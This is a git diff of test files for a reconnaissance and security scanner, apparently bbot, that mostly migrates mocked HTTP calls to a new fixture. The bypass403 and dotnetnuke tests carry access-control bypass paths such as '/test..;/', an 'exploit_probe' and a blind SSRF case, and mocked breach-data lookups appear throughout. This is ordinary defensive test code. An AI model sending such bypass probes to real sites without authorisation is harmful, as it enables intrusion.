url="https://tls.bufferover.run/dns?q=.blacklanternsecurity.com", match_headers={"x-api-key": "asdf"}, json={"Results": ["1.2.3.4,example.com,*,*,sub.blacklanternsecurity.com"]}, @@ -23,7 +23,7 @@ class TestBufferOverrunCommercial(ModuleTestBase): async def setup_before_prep(self, module_test): # Mock response for commercial API - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://bufferover-run-tls.p.rapidapi.com/ipv4/dns?q=.blacklanternsecurity.com", match_headers={"x-rapidapi-host": "bufferover-run-tls.p.rapidapi.com", "x-rapidapi-key": "asdf"}, json={"Results": ["5.6.7.8,blacklanternsecurity.com,*,*,sub.blacklanternsecurity.com"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_builtwith.py b/bbot/test/test_step_2/module_tests/test_module_builtwith.py index d11c8940d2..23f16a0fc8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_builtwith.py +++ b/bbot/test/test_step_2/module_tests/test_module_builtwith.py @@ -5,7 +5,7 @@ class TestBuiltWith(ModuleTestBase): config_overrides = {"modules": {"builtwith": {"api_key": "asdf"}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.builtwith.com/v20/api.json?KEY=asdf&LOOKUP=blacklanternsecurity.com&NOMETA=yes&NOATTR=yes&HIDETEXT=yes&HIDEDL=yes", json={ "Results": [ @@ -90,7 +90,7 @@ async def setup_after_prep(self, module_test): "Trust": None, }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.builtwith.com/redirect1/api.json?KEY=asdf&LOOKUP=blacklanternsecurity.com", json={ "Lookup": "blacklanternsecurity.com", diff --git a/bbot/test/test_step_2/module_tests/test_module_bypass403.py b/bbot/test/test_step_2/module_tests/test_module_bypass403.py index 57c1a8bedf..a78fec4c40 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bypass403.py +++ b/bbot/test/test_step_2/module_tests/test_module_bypass403.py @@ -4,7 +4,7 @@ class TestBypass403(ModuleTestBase): targets = ["http://127.0.0.1:8888/test"] - modules_overrides = ["bypass403", "httpx"] + modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/test..;/"} @@ -21,7 +21,7 @@ def check(self, module_test, events): class TestBypass403_collapsethreshold(ModuleTestBase): targets = ["http://127.0.0.1:8888/test"] - modules_overrides = ["bypass403", "httpx"] + modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): respond_args = {"response_data": "alive"} @@ -72,7 +72,7 @@ def check(self, module_test, events): class TestBypass403_aspnetcookieless(ModuleTestBase): targets = ["http://127.0.0.1:8888/admin.aspx"] - modules_overrides = ["bypass403", "httpx"] + modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": re.compile(r"\/\([sS]\(\w+\)\)\/.+\.aspx")} @@ -88,7 +88,7 @@ def check(self, module_test, events): class TestBypass403_waf(ModuleTestBase): targets = ["http://127.0.0.1:8888/test"] - modules_overrides = ["bypass403", "httpx"] + modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/test..;/"} diff --git a/bbot/test/test_step_2/module_tests/test_module_c99.py b/bbot/test/test_step_2/module_tests/test_module_c99.py index 5721776483..846a5e07dc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_c99.py +++ b/bbot/test/test_step_2/module_tests/test_module_c99.py @@ -1,4 +1,4 @@ -import httpx +from bbot.test.mock_blasthttp import TimeoutException from .base import ModuleTestBase @@ -8,11 +8,11 @@ class TestC99(ModuleTestBase): config_overrides = {"modules": {"c99": {"api_key": "asdf"}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.c99.nl/randomnumber?key=asdf&between=1,100&json", json={"success": True, "output": 65}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.c99.nl/subdomainfinder?key=asdf&domain=blacklanternsecurity.com&json", json={ "success": True, @@ -32,7 +32,7 @@ class TestC99AbortThreshold1(TestC99): config_overrides = {"modules": {"c99": {"api_key": ["6789", "fdsa", "1234", "4321"]}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.c99.nl/randomnumber?key=fdsa&between=1,100&json", json={"success": True, "output": 65}, ) @@ -45,9 +45,9 @@ async def custom_callback(request): self.url_count[url] += 1 except KeyError: self.url_count[url] = 1 - raise httpx.TimeoutException("timeout") + raise TimeoutException("timeout") - module_test.httpx_mock.add_callback(custom_callback) + module_test.blasthttp_mock.add_callback(custom_callback) def check(self, module_test, events): assert module_test.module.api_failure_abort_threshold == 13 diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_dns.py b/bbot/test/test_step_2/module_tests/test_module_censys_dns.py index bab6f0060a..f009e8c59b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_dns.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_dns.py @@ -5,7 +5,7 @@ class TestCensys_DNS(ModuleTestBase): config_overrides = {"modules": {"censys_dns": {"api_key": "api_id:api_secret"}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -16,7 +16,7 @@ async def setup_before_prep(self, module_test): "quota": {"used": 26, "allowance": 250, "resets_at": "1919-06-03 16:30:32"}, }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v2/certificates/search", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, method="POST", @@ -46,7 +46,7 @@ async def setup_before_prep(self, module_test): }, }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v2/certificates/search", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, method="POST", diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index a0a879d5ae..6c94a2de73 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -6,7 +6,26 @@ class TestCensys_IP(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret"}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + await module_test.mock_dns( + { + "wildcard.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certname.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certsubject.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "reversedns.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "ptr.evilcorp.com": { + "A": ["1.2.3.4"], + }, + } + ) + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -17,7 +36,7 @@ async def setup_before_prep(self, module_test): "quota": {"used": 26, "allowance": 250, "resets_at": "1919-06-03 16:30:32"}, }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v2/hosts/1.2.3.4", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -228,7 +247,8 @@ class TestCensys_IP_InScopeOnly(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret", "in_scope_only": True}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -236,7 +256,7 @@ async def setup_before_prep(self, module_test): }, ) # This should NOT be called because in_scope_only=True - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v2/hosts/1.1.1.1", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -271,7 +291,8 @@ class TestCensys_IP_OutOfScope(ModuleTestBase): } async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ @@ -279,7 +300,7 @@ async def setup_before_prep(self, module_test): }, ) # This SHOULD be called because in_scope_only=False - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://search.censys.io/api/v2/hosts/1.1.1.1", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, json={ diff --git a/bbot/test/test_step_2/module_tests/test_module_certspotter.py b/bbot/test/test_step_2/module_tests/test_module_certspotter.py index a9ab7eb36b..f189d58c46 100644 --- a/bbot/test/test_step_2/module_tests/test_module_certspotter.py +++ b/bbot/test/test_step_2/module_tests/test_module_certspotter.py @@ -5,7 +5,7 @@ class TestCertspotter(ModuleTestBase): async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False for t in self.targets: - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.certspotter.com/v1/issuances?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names", json=[{"dns_names": ["*.asdf.blacklanternsecurity.com"]}], ) diff --git a/bbot/test/test_step_2/module_tests/test_module_chaos.py b/bbot/test/test_step_2/module_tests/test_module_chaos.py index 193bded584..cdf5791456 100644 --- a/bbot/test/test_step_2/module_tests/test_module_chaos.py +++ b/bbot/test/test_step_2/module_tests/test_module_chaos.py @@ -5,12 +5,12 @@ class TestChaos(ModuleTestBase): config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://dns.projectdiscovery.io/dns/example.com", match_headers={"Authorization": "asdf"}, json={"domain": "example.com", "subdomains": 65}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains", match_headers={"Authorization": "asdf"}, json={ diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py index 92815c2dcc..a1672f76b5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py +++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py @@ -5,7 +5,7 @@ class TestCloudCheck(ModuleTestBase): targets = ["http://127.0.0.1:8888", "asdf2.storage.googleapis.com"] - modules_overrides = ["httpx", "excavate", "cloudcheck"] + modules_overrides = ["http", "excavate", "cloudcheck"] async def setup_after_prep(self, module_test): module_test.set_expect_requests({"uri": "/"}, {"response_data": ""}) diff --git a/bbot/test/test_step_2/module_tests/test_module_code_repository.py b/bbot/test/test_step_2/module_tests/test_module_code_repository.py index bfb01ef03f..20df2dfb28 100644 --- a/bbot/test/test_step_2/module_tests/test_module_code_repository.py +++ b/bbot/test/test_step_2/module_tests/test_module_code_repository.py @@ -3,7 +3,7 @@ class TestCodeRepository(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "code_repository"] + modules_overrides = ["http", "excavate", "code_repository"] async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} diff --git a/bbot/test/test_step_2/module_tests/test_module_credshed.py b/bbot/test/test_step_2/module_tests/test_module_credshed.py index a6b1e65c51..17093ecb82 100644 --- a/bbot/test/test_step_2/module_tests/test_module_credshed.py +++ b/bbot/test/test_step_2/module_tests/test_module_credshed.py @@ -57,12 +57,12 @@ class TestCredshed(ModuleTestBase): } async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://credshed.com/api/auth", json=credshed_auth_response, method="POST", ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://credshed.com/api/search", json=credshed_response, method="POST", diff --git a/bbot/test/test_step_2/module_tests/test_module_crt.py b/bbot/test/test_step_2/module_tests/test_module_crt.py index 5ee8ae4d31..34bfd7b1a1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt.py @@ -5,7 +5,7 @@ class TestCRT(ModuleTestBase): async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False for t in self.targets: - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://crt.sh?q=%25.blacklanternsecurity.com&output=json", json=[{"id": 1, "name_value": "asdf.blacklanternsecurity.com\nzzzz.blacklanternsecurity.com"}], ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dehashed.py b/bbot/test/test_step_2/module_tests/test_module_dehashed.py index 4821fc5458..5a174e7fac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dehashed.py +++ b/bbot/test/test_step_2/module_tests/test_module_dehashed.py @@ -8,8 +8,8 @@ class TestDehashed(ModuleTestBase): "modules": {"dehashed": {"api_key": "deadbeef"}}, } - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", json={ @@ -40,6 +40,8 @@ async def setup_after_prep(self, module_test): "total": 2, }, ) + + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "bob.com": {"A": ["127.0.0.1"]}, @@ -96,7 +98,7 @@ def check(self, module_test, events): class TestDehashedBadEmail(TestDehashed): async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", json={ @@ -119,8 +121,8 @@ def check(self, module_test, events): class TestDehashedHTTPError(TestDehashed): - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", json={"error": "issue with request body"}, @@ -130,14 +132,14 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): scan_log_content = open(module_test.scan.home / "scan.log").read() assert ( - 'Error retrieving results from dehashed.com (status code 400): {"error":"issue with request body"}' + 'Error retrieving results from dehashed.com (status code 400): {"error": "issue with request body"}' in scan_log_content ) class TestDehashedTooManyResults(TestDehashed): async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", json={ diff --git a/bbot/test/test_step_2/module_tests/test_module_digitorus.py b/bbot/test/test_step_2/module_tests/test_module_digitorus.py index a683a17d8f..efb221429d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_digitorus.py +++ b/bbot/test/test_step_2/module_tests/test_module_digitorus.py @@ -10,7 +10,7 @@ class TestDigitorus(ModuleTestBase): """ async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://certificatedetails.com/blacklanternsecurity.com", text=self.web_response, ) diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index 96f2d769d9..06cfa6d8f7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -1,11 +1,11 @@ -import httpx +from bbot.test.mock_blasthttp import MockResponse from .base import ModuleTestBase class TestDiscord(ModuleTestBase): targets = ["http://127.0.0.1:8888/cookie.aspx", "http://127.0.0.1:8888/cookie2.aspx", "foo.bar"] - modules_overrides = ["discord", "excavate", "badsecrets", "httpx"] + modules_overrides = ["discord", "excavate", "badsecrets", "http"] webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf" config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFO"}}} @@ -24,14 +24,14 @@ def custom_setup(self, module_test): async def setup_after_prep(self, module_test): self.custom_setup(module_test) - def custom_response(request: httpx.Request): + def custom_response(request): module_test.request_count += 1 if module_test.request_count == 2: - return httpx.Response(status_code=429, json={"retry_after": 0.01}) + return MockResponse(status_code=429, json={"retry_after": 0.01}) else: - return httpx.Response(status_code=200) + return MockResponse(status_code=200) - module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) + module_test.blasthttp_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): findings = [e for e in events if e.type == "FINDING"] diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py index 8f5f99e838..5de39cb0b6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py @@ -3,11 +3,11 @@ class TestDNSDumpster(ModuleTestBase): async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://dnsdumpster.com", content=b"""

""", ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.dnsdumpster.com/htmld/", content=b"asdf.blacklanternsecurity.com", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py index df9d76d50c..a94031f097 100644 --- a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py +++ b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py @@ -11,7 +11,7 @@ class TestDockerPull(ModuleTestBase): config_overrides = {"modules": {"docker_pull": {"output_folder": str(bbot_test_dir / "test_docker_files")}}} async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://hub.docker.com/v2/users/blacklanternsecurity", json={ "id": "f90895d9cf484d9182c6dbbef2632329", @@ -27,7 +27,7 @@ async def setup_before_prep(self, module_test): "type": "User", }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1", json={ "count": 2, @@ -71,7 +71,7 @@ async def setup_before_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/tags/list", json={ "errors": [ @@ -94,7 +94,7 @@ async def setup_before_prep(self, module_test): }, status_code=401, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list", json={ "errors": [ @@ -117,19 +117,19 @@ async def setup_before_prep(self, module_test): }, status_code=401, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://auth.docker.io/token?service=registry.docker.io&scope=blacklanternsecurity/helloworld:pull", json={ "token": "QWERTYUIOPASDFGHJKLZXCBNM", }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://auth.docker.io/token?service=registry.docker.io&scope=blacklanternsecurity/testimage:pull", json={ "token": "QWERTYUIOPASDFGHJKLZXCBNM", }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/tags/list", json={ "name": "blacklanternsecurity/helloworld", @@ -139,7 +139,7 @@ async def setup_before_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list", json={ "name": "blacklanternsecurity/testimage", @@ -149,7 +149,7 @@ async def setup_before_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/manifests/latest", json={ "schemaVersion": 2, @@ -168,7 +168,7 @@ async def setup_before_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/manifests/latest", json={ "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json", @@ -201,7 +201,7 @@ async def setup_before_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:a9910947b74a4f0606cfc8669ae8808d2c328beaee9e79f489dc17df14cd50b1", json={ "architecture": "amd64", @@ -376,7 +376,7 @@ async def setup_before_prep(self, module_test): }, }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/manifests/sha256:7c75331408141f1e3ef37eac7c45938fbfb0d421a86201ad45d2ab8b70ddd527", json={ "name": "testimage", @@ -422,11 +422,11 @@ async def setup_before_prep(self, module_test): tar.addfile(file_info, file_io) with open(tar_path, "rb") as file: layer_file = file.read() - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:8a1e25ce7c4f75e372e9884f8f7b1bedcfe4a7a7d452eb4b0a1c7477c9a90345", content=layer_file, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/blobs/sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", content=layer_file, ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dockerhub.py b/bbot/test/test_step_2/module_tests/test_module_dockerhub.py index 67b75ac6e3..dbc12d6a12 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dockerhub.py +++ b/bbot/test/test_step_2/module_tests/test_module_dockerhub.py @@ -5,7 +5,7 @@ class TestDockerhub(ModuleTestBase): modules_overrides = ["dockerhub", "speculate"] async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://hub.docker.com/v2/users/blacklanternsecurity", json={ "id": "f90895d9cf484d9182c6dbbef2632329", @@ -21,7 +21,7 @@ async def setup_before_prep(self, module_test): "type": "User", }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1", json={ "count": 2, diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 65835e9492..aee30f5ca7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -18,7 +18,7 @@ class TestDotnetnuke(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "dotnetnuke"] + modules_overrides = ["http", "dotnetnuke"] config_overrides = {"interactsh_disable": "True"} exploit_probe = { @@ -133,7 +133,7 @@ def extract_subdomain_tag(data): class TestDotnetnuke_blindssrf(ModuleTestBase): targets = ["http://127.0.0.1:8888"] module_name = "dotnetnuke" - modules_overrides = ["httpx", "dotnetnuke"] + modules_overrides = ["http", "dotnetnuke"] config_overrides = { "interactsh_disable": False, } diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 9b09890cff..a3bc55b7a2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -1,9 +1,28 @@ -import httpx +import json +import time import asyncio +import ssl +from urllib.request import urlopen, Request +from urllib.error import URLError +from base64 import b64encode from .base import ModuleTestBase +def _elastic_request(method, url, body=None): + """Make a request to Elasticsearch with basic auth, ignoring SSL verification.""" + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + creds = b64encode(b"elastic:bbotislife").decode() + headers = {"Authorization": f"Basic {creds}"} + if body is not None: + headers["Content-Type"] = "application/json" + body = json.dumps(body).encode() if isinstance(body, dict) else body.encode() + req = Request(url, data=body, headers=headers, method=method) + return urlopen(req, context=ctx) + + class TestElastic(ModuleTestBase): config_overrides = { "modules": { @@ -39,19 +58,20 @@ async def setup_before_prep(self, module_test): ) # Connect to Elasticsearch with retry logic - async with httpx.AsyncClient(verify=False) as client: - while True: - try: - # Attempt a simple operation to confirm the connection - response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) - response.raise_for_status() - break - except Exception as e: - self.log.verbose(f"Connection failed: {e}. Retrying...") - await asyncio.sleep(0.5) - - # Ensure the index is empty - await client.delete("https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + while True: + try: + response = _elastic_request("GET", "https://localhost:9200/_cat/health") + response.read() + break + except (URLError, ConnectionError, OSError) as e: + self.log.verbose(f"Connection failed: {e}. Retrying...") + time.sleep(0.5) + + # Ensure the index is empty + try: + _elastic_request("DELETE", "https://localhost:9200/bbot_test_events") + except URLError: + pass # Index might not exist yet async def check(self, module_test, events): try: @@ -60,63 +80,55 @@ async def check(self, module_test, events): events_json = [e.json() for e in events] events_json.sort(key=lambda x: x["timestamp"]) - # Connect to Elasticsearch - async with httpx.AsyncClient(verify=False) as client: - # Fetch all events from the index - response = await client.get( - "https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") - ) - response_json = response.json() - db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] - - # make sure we have the same number of events - assert len(events_json) == len(db_events) - - for db_event in db_events: - assert isinstance(db_event["timestamp"], float) - assert isinstance(db_event["inserted_at"], float) - - # Convert to Pydantic objects and dump them - db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] - db_events_pydantic.sort(key=lambda x: x["timestamp"]) - - # Find the main event with type DNS_NAME and data blacklanternsecurity.com - main_event = next( - ( - e - for e in db_events_pydantic - if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" - ), - None, - ) - assert main_event is not None, ( - "Main event with type DNS_NAME and data blacklanternsecurity.com not found" - ) - - # Ensure it has the reverse_host attribute - expected_reverse_host = "blacklanternsecurity.com"[::-1] - assert main_event.get("reverse_host") == expected_reverse_host, ( - f"reverse_host attribute is not correct, expected {expected_reverse_host}" - ) - - # Events don't match exactly because the elastic ones have reverse_host and inserted_at - assert events_json != db_events_pydantic - for db_event in db_events_pydantic: - db_event.pop("reverse_host", None) - db_event.pop("inserted_at", None) - db_event.pop("archived", None) - # They should match after removing reverse_host - assert events_json == db_events_pydantic, "Events do not match" + # Fetch all events from the index + response = _elastic_request("GET", "https://localhost:9200/bbot_test_events/_search?size=100") + response_json = json.loads(response.read()) + db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert main_event.get("reverse_host") == expected_reverse_host, ( + f"reverse_host attribute is not correct, expected {expected_reverse_host}" + ) + + # Events don't match exactly because the elastic ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host", None) + db_event.pop("inserted_at", None) + db_event.pop("archived", None) + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" finally: # Clean up: Delete all documents in the index - async with httpx.AsyncClient(verify=False) as client: - response = await client.delete( - "https://localhost:9200/bbot_test_events", - auth=("elastic", "bbotislife"), - params={"ignore": "400,404"}, - ) - self.log.verbose("Deleted documents from index") + try: + _elastic_request("DELETE", "https://localhost:9200/bbot_test_events?ignore=400,404") + except URLError: + pass + self.log.verbose("Deleted documents from index") process = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) diff --git a/bbot/test/test_step_2/module_tests/test_module_emailformat.py b/bbot/test/test_step_2/module_tests/test_module_emailformat.py index 4f3189f516..66828991d6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_emailformat.py +++ b/bbot/test/test_step_2/module_tests/test_module_emailformat.py @@ -3,7 +3,7 @@ class TestEmailFormat(ModuleTestBase): async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://www.email-format.com/d/blacklanternsecurity.com/", text="""[email protected]""", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_emails.py b/bbot/test/test_step_2/module_tests/test_module_emails.py index 820b5a15f1..88d40f938a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_emails.py +++ b/bbot/test/test_step_2/module_tests/test_module_emails.py @@ -5,11 +5,11 @@ class TestEmails(ModuleTestBase): modules_overrides = ["emails", "emailformat", "skymem"] async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://www.email-format.com/d/blacklanternsecurity.com/", text="""[email protected]""", ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://www.skymem.info/srch?q=blacklanternsecurity.com", text="

info@blacklanternsecurity.com

